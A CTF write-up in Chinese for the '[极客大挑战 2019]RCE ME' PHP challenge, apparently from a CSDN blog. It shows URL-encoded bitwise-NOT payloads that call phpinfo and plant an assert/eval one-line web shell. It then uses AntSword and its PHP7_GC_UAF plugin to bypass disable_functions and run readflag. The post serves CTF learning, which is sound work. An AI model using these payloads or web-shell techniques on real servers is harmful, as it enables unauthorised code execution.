[极客大挑战 2019]RCE ME 做题记录

概述

网上关于这道题的求解有很多,我这里主要用于个人积累。

题目

思路

无数字字母RCE,最典型的方法是取反,phpinfo取反后编码得到%8F%97%8F%96%91%99%90。

构造payload: ?code=(~%8F%97%8F%96%91%99%90)();,得到php配置信息,存在disable_functions,可以看到php命令执行的相关函数都被禁用了,于是考虑一句话木马。

分别对assert和eval($_POST[cmd])取反。

构造payload: ?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6); ,使用POST方法,cmd=phpinfo(); 进行检验。

用蚁剑进行连接后,在根目录下找到flag和readflag,flag文件无法读取,则需要执行readflag。

由于disable_functions的限制,无法在终端中执行命令。

蚁剑中有绕过disable_functions的插件,在插件市场进行下载,在数据管理页面加载插件。

选择PHP7_GC_UAF模式,点击开始,即可在终端执行命令。

问题

1. eval执行代码需要 ; 作为参数结尾,常规的一句话木马<?php @eval($_POST[cmd]);?>,直接取反$_POST[cmd]然后拼接 ; ,相当于@eval($_POST[cmd];); 不符合一句话木马要求。

2. eval 是语言构造器,不能作为函数名使用,也就是不能直接将eval($_POST[cmd])取反后作为code值,需要assert函数进行套用。

3. 由于php语法限制,函数名必须是“干净”的标识符,即对函数名进行取反时必须是例如assert、phpinfo这样的标识符,不能带有()、; 之类的,所以assert和eval($_POST[cmd])的取反必须分开进行,而不能直接对assert(eval($_POST[cmd]))整体取反。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值